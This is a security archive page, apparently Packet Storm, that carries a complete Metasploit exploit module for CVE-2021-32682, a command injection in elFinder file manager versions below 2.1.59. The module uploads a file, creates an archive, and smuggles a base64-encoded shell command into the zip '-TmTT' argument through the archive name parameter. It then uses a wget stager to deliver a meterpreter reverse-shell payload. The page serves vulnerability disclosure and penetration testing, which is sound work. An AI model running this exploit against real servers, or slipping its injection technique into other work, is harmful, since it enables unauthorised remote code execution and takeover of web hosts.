elFinder Archive Command Injection

Authored by Shelby Pace, Thomas Chauchefoin | Site metasploit.com

Posted Sep 15, 2021

elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

tags | exploit, arbitrary, php
advisories | CVE-2021-32682
SHA-256 | eefba941559b0ed45889286a43dda93328d3b84159ce379897131f28b557f0ba

Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'elFinder Archive Command Injection',
        'Description' => %q{
          elFinder versions below 2.1.59 are vulnerable to a command injection
          vulnerability via its archive functionality.

          When creating a new zip archive, the `name` parameter is sanitized
          with the `escapeshellarg()` php function and then passed to the
          `zip` utility. Despite the sanitization, supplying the `-TmTT`
          argument as part of the `name` parameter is still permitted and
          enables the execution of arbitrary commands as the `www-data` user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas Chauchefoin', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-32682' ],
          [ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
        ],
        'Platform' => [ 'linux' ],
        'Privileged' => false,
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Automatic Target',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ 'wget' ],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2021-06-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => upload_uri
    )

    return CheckCode::Unknown('Failed to retrieve a response') unless res
    return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')

    vprint_status('Attempting to check the changelog for elFinder version')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Changelog')
    )

    unless res
      return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog')
    end

    # * elFinder (2.1.58)
    vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)
    if vers_str.nil? || vers_str.length <= 1
      return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')
    end

    version_found = Rex::Version.new(vers_str[1])
    if version_found < Rex::Version.new('2.1.59')
      return CheckCode::Appears("elFinder running version #{vers_str[1]}")
    end

    CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")
  end

  def upload_uri
    normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
  end

  def upload_successful?(response)
    unless response
      print_bad('Did not receive a response from elFinder')
      return false
    end

    if response.code != 200 || response.body.include?('error')
      print_bad("Request failed: #{response.body}")
      return false
    end

    unless response.body.include?('added')
      print_bad("Failed to add new file: #{response.body}")
      return false
    end
    json = JSON.parse(response.body)
    if json['added'].empty?
      return false
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    end

    true
  end

  alias archive_successful? upload_successful?

  def upload_txt_file(file_name)
    file_data = Rex::Text.rand_text_alpha(8..20)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('ll_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(file_data, 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{file_name}\"")

    print_status("Uploading file #{file_name} to elFinder")
    send_request_cgi(
      'method' => 'POST',
      'uri' => upload_uri,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )
  end

  def create_archive(archive_name, *files_to_archive)
    files_to_archive = files_to_archive.map { |file_name| "ll_#{Rex::Text.encode_base64(file_name)}" }

    send_request_cgi(
      'method' => 'GET',
      'uri' => upload_uri,
      'encode_params' => false,
      'vars_get' =>
      {
        'cmd' => 'archive',
        'name' => archive_name,
        'target' => 'll_Lw',
        'type' => 'application/zip',
        'targets[]' => files_to_archive.join('&targets[]=')
      }
    )
  end

  def setup_files_for_sploit
    @txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
    res = upload_txt_file(@txt_file)
    fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)
    print_good('Text file was successfully uploaded!')

    @archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"
    print_status("Attempting to create archive #{@archive_name}")
    res = create_archive(@archive_name, @txt_file)
    fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res)
    print_good('Archive was successfully created!')

    register_files_for_cleanup(@txt_file, @archive_name)
  end

  # zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post
  def execute_command(cmd, _opts = {})
    cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh"
    cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\""
    cmd_arg = cmd_arg.gsub(' ', '${IFS}')

    create_archive(cmd_arg, @archive_name, @txt_file)
  end

  def exploit
    setup_files_for_sploit
    execute_cmdstager(noconcat: true, linemax: 150)
  end
end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed